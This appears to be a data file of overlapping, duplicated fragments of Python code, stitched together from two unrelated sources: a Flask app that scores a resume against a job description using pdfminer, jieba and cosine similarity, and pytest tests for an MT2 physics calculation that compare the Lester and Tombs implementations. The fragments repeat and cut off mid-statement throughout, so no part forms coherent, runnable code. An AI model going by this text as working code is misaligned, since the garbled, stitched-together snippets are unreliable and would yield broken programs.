"'sample.pdf') fp = open(file_path, 'rb') rsrcmgr = PDFResourceManager() retstr = io.StringIO() laparams =",
"-------- Login ------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST']) def login(): # creating a pdf",
"= round(float(answer), 4) * 100 return \"Your resume matched \" + str( answer)",
"+ str( answer) + \" %\" + \" of the job-description!\" return None",
"werkzeug.utils import secure_filename from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import Ridge from sklearn.model_selection",
"Login ------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST']) def login(): # creating a pdf file",
"import sys from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import PDFPage from pdfminer.converter",
"tabledef # from scripts import forms # from scripts import helpers from flask",
"retstr, laparams=laparams) # Create a PDF interpreter object. interpreter = PDFPageInterpreter(rsrcmgr, device) #",
"sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import CountVectorizer from tkinter",
"pdfminer.pdfpage import PDFPage from pdfminer.converter import XMLConverter, HTMLConverter, TextConverter from pdfminer.layout import LAParams",
"======== Routing =========================================================== # # -------- Login ------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST']) def",
"app.secret_key = os.urandom(12) # Generic key for dev purposes only # stripe_keys =",
"* 100 return \"Your resume matched \" + str( answer) + \" %\"",
"app = Flask(__name__) # app.secret_key = os.urandom(12) # Generic key for dev purposes",
"tkinter.filedialog import askopenfilename import numpy as np import pandas as pd import jieba",
"if request.method == 'GET': # f = request.files['file'] basepath = os.path.dirname(__file__) # file_path",
"pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0] answer = round(float(answer), 4) * 100 return \"Your",
"cosine_similarity from sklearn.feature_extraction.text import CountVectorizer from tkinter import Tk from tkinter.filedialog import askopenfilename",
"purposes only # stripe_keys = { # 'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] #",
"return None # ======== Main ============================================================== # if __name__ == \"__main__\": app.run(debug=True, use_reloader=True)",
"page contained in the document. for page in PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue()",
"= Flask(__name__) # app.secret_key = os.urandom(12) # Generic key for dev purposes only",
"# from scripts import tabledef # from scripts import forms # from scripts",
"basepath = os.path.dirname(__file__) # file_path = os.path.join( # basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path)",
"import secure_filename from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import Ridge from sklearn.model_selection import",
"from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import PDFPage from pdfminer.converter import XMLConverter,",
"return filename @app.route(\"/logout\") def logout(): session['logged_in'] = False return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST'])",
"item01_list = seg_list01 item01 = ','.join(item01_list) item02_list = seg_list02 item02 = ','.join(item02_list) documents",
"import jieba import jieba.analyse import csv import ast import sys from pdfminer.pdfinterp import",
"device) # Process each page contained in the document. for page in PDFPage.get_pages(fp):",
"#from flask_heroku import Heroku #heroku = Heroku(app) # ======== Routing =========================================================== # #",
"document. for page in PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\")",
"df['job-description'] seg_list02 = df['your-resume'] item01_list = seg_list01 item01 = ','.join(item01_list) item02_list = seg_list02",
"url_for, render_template, request, session import json import sys import os # import stripe",
"request, session import json import sys import os # import stripe import pandas",
"from pdfminer.layout import LAParams import io app = Flask(__name__) # app.secret_key = os.urandom(12)",
"scripts import helpers from flask import Flask, redirect, url_for, render_template, request, session import",
"for dev purposes only # stripe_keys = { # 'secret_key': os.environ['secret_key'], # 'publishable_key':",
"import Flask, redirect, url_for, render_template, request, session import json import sys import os",
"Tk from tkinter.filedialog import askopenfilename import numpy as np import pandas as pd",
"def login(): # creating a pdf file object basepath = os.path.dirname(__file__) file_path =",
"# Process each page contained in the document. for page in PDFPage.get_pages(fp): interpreter.process_page(page)",
"os.path.dirname(__file__) # file_path = os.path.join( # basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path) file_path =",
"os.path.join( # basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path) file_path = os.path.join(basepath, 'uploads', 'test-upload.csv') df",
"methods=['GET', 'POST']) def login(): # creating a pdf file object basepath = os.path.dirname(__file__)",
"# basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path) file_path = os.path.join(basepath, 'uploads', 'test-upload.csv') df =",
"from pdfminer.converter import XMLConverter, HTMLConverter, TextConverter from pdfminer.layout import LAParams import io app",
"------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST']) def login(): # creating a pdf file object",
"# file_path = os.path.join( # basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path) file_path = os.path.join(basepath,",
"import PolynomialFeatures from sklearn.linear_model import Ridge from sklearn.model_selection import train_test_split from sklearn.pipeline import",
"user=\"manoj\") # return text def getFile(): Tk().withdraw() filename = askopenfilename() Tk.close() return filename"
] |
[
"return { \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name, \"detail\": { \"rating\": rating, \"content\":",
"rating): return { \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name, \"detail\": { \"rating\": rating,",
"uuid import uuid4 def generate_player_data(event_name, rating): return { \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\":",
"uuid4 def generate_player_data(event_name, rating): return { \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name, \"detail\":",
"from uuid import uuid4 def generate_player_data(event_name, rating): return { \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())),",
"generate_player_data(event_name, rating): return { \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name, \"detail\": { \"rating\":",
"{ \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name, \"detail\": { \"rating\": rating, \"content\": {}",
"\"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name, \"detail\": { \"rating\": rating, \"content\": {} }",
"def generate_player_data(event_name, rating): return { \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name, \"detail\": {",
"str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name, \"detail\": { \"rating\": rating, \"content\": {} } }",
"import uuid4 def generate_player_data(event_name, rating): return { \"id\": str(uuid4()), \"response-queue\": \"{}-response-queue\".format(str(uuid4())), \"event-name\": event_name,"
] |
[
"px_vis_2 = _random_batch(-100, 100) py_vis_2 = _random_batch(-100, 100) px_miss = _random_batch(-100, 100) py_miss",
"_random_batch(min_, max_): return numpy.random.uniform(min_, max_, (batch_size,)) for _ in range(num_tests): m_vis_1 = _random_batch(0,",
"import mt2_lester, mt2_tombs def test_simple_example(): computed_val = mt2_tombs(100, 410, 20, 150, -210, -300,",
"= _random_batch(0, 100) m_invis_2 = _random_batch(0, 100) args = ( m_vis_1, px_vis_1, py_vis_1,",
"orders of magnitude. for i in range(-100, 100, 10): scale = 10.0 **",
"positive nor an infinite loop. computed_val = mt2_tombs(1, 2, 3, 4, 5, 6,",
"mt2_tombs(100, 410, 20, 150, -210, -300, -200, 280, 100, 100) assert computed_val ==",
"m_vis_a, px_a, py_a, m_vis_b, px_b, py_b, px_miss, py_miss, chi_a, chi_b ) assert computed_val",
"= -16.692279406 py_miss = -14.730240471 chi_a = 0 chi_b = 0 computed_val =",
"result is neither positive nor an infinite loop. computed_val = mt2_tombs(1, 2, 3,",
"based on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a = -42.017340486 py_a",
"_ in range(num_tests): m_vis_1 = _random_batch(0, 100) px_vis_1 = _random_batch(-100, 100) py_vis_1 =",
"100) m_invis_2 = _random_batch(0, 100) args = ( m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2,",
"max_): return numpy.random.uniform(min_, max_, (batch_size,)) for _ in range(num_tests): m_vis_1 = _random_batch(0, 100)",
"0 px_a = -42.017340486 py_a = -146.365340528 m_vis_b = 0.087252259 px_b = -9.625614206",
"= _random_batch(0, 100) px_vis_2 = _random_batch(-100, 100) py_vis_2 = _random_batch(-100, 100) px_miss =",
"chi_b ) assert computed_val == pytest.approx(0.09719971) def test_fuzz(): batch_size = 100 num_tests =",
"test_near_massless(): # This test is based on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a =",
"px_miss = -16.692279406 py_miss = -14.730240471 chi_a = 0 chi_b = 0 computed_val",
"the evaluation; we're happy # so long as we match approximately in the",
"by <NAME>.\"\"\" from typing import Optional, Union import numpy import pytest from .common",
"Optional, Union import numpy import pytest from .common import mt2_lester, mt2_tombs def test_simple_example():",
"test is based on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a =",
"px_miss = _random_batch(-100, 100) py_miss = _random_batch(-100, 100) m_invis_1 = _random_batch(0, 100) m_invis_2",
"mt2 scales with its arguments; check over some orders of magnitude. for i",
"145.757295514 px_miss = -16.692279406 py_miss = -14.730240471 chi_a = 0 chi_b = 0",
"py_miss, m_invis_1, m_invis_2, ) result_lester = mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12)",
"test_simple_example(): computed_val = mt2_tombs(100, 410, 20, 150, -210, -300, -200, 280, 100, 100)",
"# Suppress overflow warnings when performing the evaluation; we're happy # so long",
"we match approximately in the test below. computed_val = mt2_tombs(*(example_args * scale)) assert",
"px_b, py_b, px_miss, py_miss, chi_a, chi_b ) assert computed_val == pytest.approx(0.09719971) def test_fuzz():",
"= _random_batch(0, 100) px_vis_1 = _random_batch(-100, 100) py_vis_1 = _random_batch(-100, 100) m_vis_2 =",
"def _random_batch(min_, max_): return numpy.random.uniform(min_, max_, (batch_size,)) for _ in range(num_tests): m_vis_1 =",
"Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a = -42.017340486 py_a = -146.365340528",
"= 0 computed_val = mt2_tombs( m_vis_a, px_a, py_a, m_vis_b, px_b, py_b, px_miss, py_miss,",
"px_miss, py_miss, chi_a, chi_b ) assert computed_val == pytest.approx(0.09719971) def test_fuzz(): batch_size =",
"m_vis_2 = _random_batch(0, 100) px_vis_2 = _random_batch(-100, 100) py_vis_2 = _random_batch(-100, 100) px_miss",
"args = ( m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2,",
"on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a = -42.017340486 py_a =",
"100) px_vis_1 = _random_batch(-100, 100) py_vis_1 = _random_batch(-100, 100) m_vis_2 = _random_batch(0, 100)",
"test below. computed_val = mt2_tombs(*(example_args * scale)) assert computed_val == pytest.approx(example_val * scale)",
"py_vis_1 = _random_batch(-100, 100) m_vis_2 = _random_batch(0, 100) px_vis_2 = _random_batch(-100, 100) py_vis_2",
"20, 150, -210, -300, -200, 280, 100, 100) assert computed_val == pytest.approx(412.628) def",
"100) px_vis_2 = _random_batch(-100, 100) py_vis_2 = _random_batch(-100, 100) px_miss = _random_batch(-100, 100)",
"100 num_tests = 1000 numpy.random.seed(42) def _random_batch(min_, max_): return numpy.random.uniform(min_, max_, (batch_size,)) for",
"# so long as we match approximately in the test below. computed_val =",
"_random_batch(-100, 100) m_vis_2 = _random_batch(0, 100) px_vis_2 = _random_batch(-100, 100) py_vis_2 = _random_batch(-100,",
"# This test is based on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0",
"m_vis_1 = _random_batch(0, 100) px_vis_1 = _random_batch(-100, 100) py_vis_1 = _random_batch(-100, 100) m_vis_2",
"return numpy.random.uniform(min_, max_, (batch_size,)) for _ in range(num_tests): m_vis_1 = _random_batch(0, 100) px_vis_1",
"= 1000 numpy.random.seed(42) def _random_batch(min_, max_): return numpy.random.uniform(min_, max_, (batch_size,)) for _ in",
"_random_batch(-100, 100) py_vis_2 = _random_batch(-100, 100) px_miss = _random_batch(-100, 100) py_miss = _random_batch(-100,",
"py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2, ) result_lester = mt2_lester(*args) result_tombs",
"check over some orders of magnitude. for i in range(-100, 100, 10): scale",
"== pytest.approx(example_val * scale) def test_negative_masses(): # Any negative mass is unphysical. #",
"py_a = -146.365340528 m_vis_b = 0.087252259 px_b = -9.625614206 py_b = 145.757295514 px_miss",
"scales with its arguments; check over some orders of magnitude. for i in",
"is neither positive nor an infinite loop. computed_val = mt2_tombs(1, 2, 3, 4,",
"happy # so long as we match approximately in the test below. computed_val",
"10.0 ** i with numpy.errstate(over=\"ignore\"): # Suppress overflow warnings when performing the evaluation;",
"assert computed_val == pytest.approx(0.09719971) def test_fuzz(): batch_size = 100 num_tests = 1000 numpy.random.seed(42)",
"numpy.array((100, 410, 20, 150, -210, -300, -200, 280, 100, 100)) example_val = mt2_tombs(*example_args)",
"arguments use negative masses to make both initial bounds negative. # Check that",
"( m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2, ) result_lester",
"This test is based on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a",
"test_scale_invariance(): example_args = numpy.array((100, 410, 20, 150, -210, -300, -200, 280, 100, 100))",
"negative mass is unphysical. # These arguments use negative masses to make both",
"<NAME>.\"\"\" from typing import Optional, Union import numpy import pytest from .common import",
"= _random_batch(0, 100) args = ( m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss,",
"-42.017340486 py_a = -146.365340528 m_vis_b = 0.087252259 px_b = -9.625614206 py_b = 145.757295514",
"px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2, ) result_lester = mt2_lester(*args)",
"410, 20, 150, -210, -300, -200, 280, 100, 100)) example_val = mt2_tombs(*example_args) #",
"-300, -200, 280, 100, 100)) example_val = mt2_tombs(*example_args) # mt2 scales with its",
"we're happy # so long as we match approximately in the test below.",
"when performing the evaluation; we're happy # so long as we match approximately",
"chi_a = 0 chi_b = 0 computed_val = mt2_tombs( m_vis_a, px_a, py_a, m_vis_b,",
"pytest.approx(412.628) def test_near_massless(): # This test is based on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf",
"neither positive nor an infinite loop. computed_val = mt2_tombs(1, 2, 3, 4, 5,",
"== pytest.approx(0.09719971) def test_fuzz(): batch_size = 100 num_tests = 1000 numpy.random.seed(42) def _random_batch(min_,",
"def test_simple_example(): computed_val = mt2_tombs(100, 410, 20, 150, -210, -300, -200, 280, 100,",
"range(num_tests): m_vis_1 = _random_batch(0, 100) px_vis_1 = _random_batch(-100, 100) py_vis_1 = _random_batch(-100, 100)",
"m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2, ) result_lester = mt2_lester(*args) result_tombs =",
"150, -210, -300, -200, 280, 100, 100) assert computed_val == pytest.approx(412.628) def test_near_massless():",
"= -9.625614206 py_b = 145.757295514 px_miss = -16.692279406 py_miss = -14.730240471 chi_a =",
"= mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance(): example_args = numpy.array((100, 410, 20, 150,",
"py_miss = -14.730240471 chi_a = 0 chi_b = 0 computed_val = mt2_tombs( m_vis_a,",
"100) args = ( m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1,",
"assert computed_val == pytest.approx(412.628) def test_near_massless(): # This test is based on Fig",
"5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a = -42.017340486 py_a = -146.365340528 m_vis_b",
"= _random_batch(-100, 100) m_vis_2 = _random_batch(0, 100) px_vis_2 = _random_batch(-100, 100) py_vis_2 =",
") assert computed_val == pytest.approx(0.09719971) def test_fuzz(): batch_size = 100 num_tests = 1000",
"computed_val == pytest.approx(example_val * scale) def test_negative_masses(): # Any negative mass is unphysical.",
"of magnitude. for i in range(-100, 100, 10): scale = 10.0 ** i",
"-200, 280, 100, 100)) example_val = mt2_tombs(*example_args) # mt2 scales with its arguments;",
"These arguments use negative masses to make both initial bounds negative. # Check",
"= numpy.array((100, 410, 20, 150, -210, -300, -200, 280, 100, 100)) example_val =",
"nor an infinite loop. computed_val = mt2_tombs(1, 2, 3, 4, 5, 6, 7,",
"the result is neither positive nor an infinite loop. computed_val = mt2_tombs(1, 2,",
"the variant of MT2 by <NAME>.\"\"\" from typing import Optional, Union import numpy",
"1000 numpy.random.seed(42) def _random_batch(min_, max_): return numpy.random.uniform(min_, max_, (batch_size,)) for _ in range(num_tests):",
"0.087252259 px_b = -9.625614206 py_b = 145.757295514 px_miss = -16.692279406 py_miss = -14.730240471",
"m_vis_b, px_b, py_b, px_miss, py_miss, chi_a, chi_b ) assert computed_val == pytest.approx(0.09719971) def",
"px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2, ) result_lester = mt2_lester(*args) result_tombs = mt2_tombs(*args)",
") result_lester = mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance(): example_args",
"rtol=1e-12) def test_scale_invariance(): example_args = numpy.array((100, 410, 20, 150, -210, -300, -200, 280,",
"def test_scale_invariance(): example_args = numpy.array((100, 410, 20, 150, -210, -300, -200, 280, 100,",
"long as we match approximately in the test below. computed_val = mt2_tombs(*(example_args *",
"* scale) def test_negative_masses(): # Any negative mass is unphysical. # These arguments",
"example_args = numpy.array((100, 410, 20, 150, -210, -300, -200, 280, 100, 100)) example_val",
"== pytest.approx(412.628) def test_near_massless(): # This test is based on Fig 5 of",
"150, -210, -300, -200, 280, 100, 100)) example_val = mt2_tombs(*example_args) # mt2 scales",
"as we match approximately in the test below. computed_val = mt2_tombs(*(example_args * scale))",
"= _random_batch(-100, 100) m_invis_1 = _random_batch(0, 100) m_invis_2 = _random_batch(0, 100) args =",
"with numpy.errstate(over=\"ignore\"): # Suppress overflow warnings when performing the evaluation; we're happy #",
"Check that the result is neither positive nor an infinite loop. computed_val =",
"= _random_batch(-100, 100) py_vis_1 = _random_batch(-100, 100) m_vis_2 = _random_batch(0, 100) px_vis_2 =",
"for _ in range(num_tests): m_vis_1 = _random_batch(0, 100) px_vis_1 = _random_batch(-100, 100) py_vis_1",
"= _random_batch(-100, 100) py_vis_2 = _random_batch(-100, 100) px_miss = _random_batch(-100, 100) py_miss =",
"mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance(): example_args = numpy.array((100, 410,",
"100, 100) assert computed_val == pytest.approx(412.628) def test_near_massless(): # This test is based",
"** i with numpy.errstate(over=\"ignore\"): # Suppress overflow warnings when performing the evaluation; we're",
"280, 100, 100)) example_val = mt2_tombs(*example_args) # mt2 scales with its arguments; check",
"computed_val = mt2_tombs(1, 2, 3, 4, 5, 6, 7, 8, -90, -100) assert",
"-210, -300, -200, 280, 100, 100) assert computed_val == pytest.approx(412.628) def test_near_massless(): #",
"0 chi_b = 0 computed_val = mt2_tombs( m_vis_a, px_a, py_a, m_vis_b, px_b, py_b,",
"= 100 num_tests = 1000 numpy.random.seed(42) def _random_batch(min_, max_): return numpy.random.uniform(min_, max_, (batch_size,))",
"def test_fuzz(): batch_size = 100 num_tests = 1000 numpy.random.seed(42) def _random_batch(min_, max_): return",
"is based on Fig 5 of https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a = -42.017340486",
"numpy import pytest from .common import mt2_lester, mt2_tombs def test_simple_example(): computed_val = mt2_tombs(100,",
"from typing import Optional, Union import numpy import pytest from .common import mt2_lester,",
"chi_b = 0 computed_val = mt2_tombs( m_vis_a, px_a, py_a, m_vis_b, px_b, py_b, px_miss,",
"batch_size = 100 num_tests = 1000 numpy.random.seed(42) def _random_batch(min_, max_): return numpy.random.uniform(min_, max_,",
"m_invis_2, ) result_lester = mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance():",
"unphysical. # These arguments use negative masses to make both initial bounds negative.",
"mt2_tombs(1, 2, 3, 4, 5, 6, 7, 8, -90, -100) assert not (computed_val",
"410, 20, 150, -210, -300, -200, 280, 100, 100) assert computed_val == pytest.approx(412.628)",
"px_a = -42.017340486 py_a = -146.365340528 m_vis_b = 0.087252259 px_b = -9.625614206 py_b",
"100) m_invis_1 = _random_batch(0, 100) m_invis_2 = _random_batch(0, 100) args = ( m_vis_1,",
"some orders of magnitude. for i in range(-100, 100, 10): scale = 10.0",
"m_invis_2 = _random_batch(0, 100) args = ( m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2,",
"overflow warnings when performing the evaluation; we're happy # so long as we",
"is unphysical. # These arguments use negative masses to make both initial bounds",
"= 0.087252259 px_b = -9.625614206 py_b = 145.757295514 px_miss = -16.692279406 py_miss =",
"variant of MT2 by <NAME>.\"\"\" from typing import Optional, Union import numpy import",
"280, 100, 100) assert computed_val == pytest.approx(412.628) def test_near_massless(): # This test is",
"in range(num_tests): m_vis_1 = _random_batch(0, 100) px_vis_1 = _random_batch(-100, 100) py_vis_1 = _random_batch(-100,",
"= mt2_tombs(*example_args) # mt2 scales with its arguments; check over some orders of",
"magnitude. for i in range(-100, 100, 10): scale = 10.0 ** i with",
"arguments; check over some orders of magnitude. for i in range(-100, 100, 10):",
"below. computed_val = mt2_tombs(*(example_args * scale)) assert computed_val == pytest.approx(example_val * scale) def",
"scale)) assert computed_val == pytest.approx(example_val * scale) def test_negative_masses(): # Any negative mass",
"def test_negative_masses(): # Any negative mass is unphysical. # These arguments use negative",
"_random_batch(-100, 100) py_miss = _random_batch(-100, 100) m_invis_1 = _random_batch(0, 100) m_invis_2 = _random_batch(0,",
"100) py_miss = _random_batch(-100, 100) m_invis_1 = _random_batch(0, 100) m_invis_2 = _random_batch(0, 100)",
"typing import Optional, Union import numpy import pytest from .common import mt2_lester, mt2_tombs",
"range(-100, 100, 10): scale = 10.0 ** i with numpy.errstate(over=\"ignore\"): # Suppress overflow",
"max_, (batch_size,)) for _ in range(num_tests): m_vis_1 = _random_batch(0, 100) px_vis_1 = _random_batch(-100,",
"Suppress overflow warnings when performing the evaluation; we're happy # so long as",
"py_vis_2 = _random_batch(-100, 100) px_miss = _random_batch(-100, 100) py_miss = _random_batch(-100, 100) m_invis_1",
"100, 10): scale = 10.0 ** i with numpy.errstate(over=\"ignore\"): # Suppress overflow warnings",
"Union import numpy import pytest from .common import mt2_lester, mt2_tombs def test_simple_example(): computed_val",
"px_b = -9.625614206 py_b = 145.757295514 px_miss = -16.692279406 py_miss = -14.730240471 chi_a",
"numpy.random.uniform(min_, max_, (batch_size,)) for _ in range(num_tests): m_vis_1 = _random_batch(0, 100) px_vis_1 =",
"result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance(): example_args = numpy.array((100, 410, 20,",
"Any negative mass is unphysical. # These arguments use negative masses to make",
"100) py_vis_2 = _random_batch(-100, 100) px_miss = _random_batch(-100, 100) py_miss = _random_batch(-100, 100)",
"numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance(): example_args = numpy.array((100, 410, 20, 150, -210, -300,",
"the test below. computed_val = mt2_tombs(*(example_args * scale)) assert computed_val == pytest.approx(example_val *",
"test_negative_masses(): # Any negative mass is unphysical. # These arguments use negative masses",
"100) py_vis_1 = _random_batch(-100, 100) m_vis_2 = _random_batch(0, 100) px_vis_2 = _random_batch(-100, 100)",
"= 10.0 ** i with numpy.errstate(over=\"ignore\"): # Suppress overflow warnings when performing the",
".common import mt2_lester, mt2_tombs def test_simple_example(): computed_val = mt2_tombs(100, 410, 20, 150, -210,",
"_random_batch(-100, 100) m_invis_1 = _random_batch(0, 100) m_invis_2 = _random_batch(0, 100) args = (",
"py_b = 145.757295514 px_miss = -16.692279406 py_miss = -14.730240471 chi_a = 0 chi_b",
"m_invis_1, m_invis_2, ) result_lester = mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def",
"= 145.757295514 px_miss = -16.692279406 py_miss = -14.730240471 chi_a = 0 chi_b =",
"to make both initial bounds negative. # Check that the result is neither",
"px_vis_1 = _random_batch(-100, 100) py_vis_1 = _random_batch(-100, 100) m_vis_2 = _random_batch(0, 100) px_vis_2",
"# Check that the result is neither positive nor an infinite loop. computed_val",
"mt2_tombs(*(example_args * scale)) assert computed_val == pytest.approx(example_val * scale) def test_negative_masses(): # Any",
"https://arxiv.org/pdf/1411.4312.pdf m_vis_a = 0 px_a = -42.017340486 py_a = -146.365340528 m_vis_b = 0.087252259",
"-9.625614206 py_b = 145.757295514 px_miss = -16.692279406 py_miss = -14.730240471 chi_a = 0",
"-300, -200, 280, 100, 100) assert computed_val == pytest.approx(412.628) def test_near_massless(): # This",
"scale) def test_negative_masses(): # Any negative mass is unphysical. # These arguments use",
"initial bounds negative. # Check that the result is neither positive nor an",
"= mt2_tombs(1, 2, 3, 4, 5, 6, 7, 8, -90, -100) assert not",
"20, 150, -210, -300, -200, 280, 100, 100)) example_val = mt2_tombs(*example_args) # mt2",
"m_invis_1 = _random_batch(0, 100) m_invis_2 = _random_batch(0, 100) args = ( m_vis_1, px_vis_1,",
"* scale)) assert computed_val == pytest.approx(example_val * scale) def test_negative_masses(): # Any negative",
"pytest from .common import mt2_lester, mt2_tombs def test_simple_example(): computed_val = mt2_tombs(100, 410, 20,",
"make both initial bounds negative. # Check that the result is neither positive",
"2, 3, 4, 5, 6, 7, 8, -90, -100) assert not (computed_val >",
"-200, 280, 100, 100) assert computed_val == pytest.approx(412.628) def test_near_massless(): # This test",
"numpy.random.seed(42) def _random_batch(min_, max_): return numpy.random.uniform(min_, max_, (batch_size,)) for _ in range(num_tests): m_vis_1",
"result_lester = mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance(): example_args =",
"mt2_lester, mt2_tombs def test_simple_example(): computed_val = mt2_tombs(100, 410, 20, 150, -210, -300, -200,",
"bounds negative. # Check that the result is neither positive nor an infinite",
"computed_val = mt2_tombs(100, 410, 20, 150, -210, -300, -200, 280, 100, 100) assert",
"100) assert computed_val == pytest.approx(412.628) def test_near_massless(): # This test is based on",
"100) m_vis_2 = _random_batch(0, 100) px_vis_2 = _random_batch(-100, 100) py_vis_2 = _random_batch(-100, 100)",
"-14.730240471 chi_a = 0 chi_b = 0 computed_val = mt2_tombs( m_vis_a, px_a, py_a,",
"mt2_tombs def test_simple_example(): computed_val = mt2_tombs(100, 410, 20, 150, -210, -300, -200, 280,",
"m_vis_b = 0.087252259 px_b = -9.625614206 py_b = 145.757295514 px_miss = -16.692279406 py_miss",
"= -42.017340486 py_a = -146.365340528 m_vis_b = 0.087252259 px_b = -9.625614206 py_b =",
"= ( m_vis_1, px_vis_1, py_vis_1, m_vis_2, px_vis_2, py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2, )",
"result_tombs, rtol=1e-12) def test_scale_invariance(): example_args = numpy.array((100, 410, 20, 150, -210, -300, -200,",
"in the test below. computed_val = mt2_tombs(*(example_args * scale)) assert computed_val == pytest.approx(example_val",
"chi_a, chi_b ) assert computed_val == pytest.approx(0.09719971) def test_fuzz(): batch_size = 100 num_tests",
"scale = 10.0 ** i with numpy.errstate(over=\"ignore\"): # Suppress overflow warnings when performing",
"that the result is neither positive nor an infinite loop. computed_val = mt2_tombs(1,",
"use negative masses to make both initial bounds negative. # Check that the",
"match approximately in the test below. computed_val = mt2_tombs(*(example_args * scale)) assert computed_val",
"# Any negative mass is unphysical. # These arguments use negative masses to",
"3, 4, 5, 6, 7, 8, -90, -100) assert not (computed_val > 0)",
"100, 100)) example_val = mt2_tombs(*example_args) # mt2 scales with its arguments; check over",
"import Optional, Union import numpy import pytest from .common import mt2_lester, mt2_tombs def",
"py_vis_2, px_miss, py_miss, m_invis_1, m_invis_2, ) result_lester = mt2_lester(*args) result_tombs = mt2_tombs(*args) numpy.testing.assert_allclose(result_lester,",
"py_miss, chi_a, chi_b ) assert computed_val == pytest.approx(0.09719971) def test_fuzz(): batch_size = 100",
"with its arguments; check over some orders of magnitude. for i in range(-100,",
"over some orders of magnitude. for i in range(-100, 100, 10): scale =",
"both initial bounds negative. # Check that the result is neither positive nor",
"computed_val = mt2_tombs(*(example_args * scale)) assert computed_val == pytest.approx(example_val * scale) def test_negative_masses():",
"= mt2_tombs( m_vis_a, px_a, py_a, m_vis_b, px_b, py_b, px_miss, py_miss, chi_a, chi_b )",
"_random_batch(0, 100) px_vis_2 = _random_batch(-100, 100) py_vis_2 = _random_batch(-100, 100) px_miss = _random_batch(-100,",
"px_a, py_a, m_vis_b, px_b, py_b, px_miss, py_miss, chi_a, chi_b ) assert computed_val ==",
"mt2_tombs(*args) numpy.testing.assert_allclose(result_lester, result_tombs, rtol=1e-12) def test_scale_invariance(): example_args = numpy.array((100, 410, 20, 150, -210,",
"in range(-100, 100, 10): scale = 10.0 ** i with numpy.errstate(over=\"ignore\"): # Suppress",
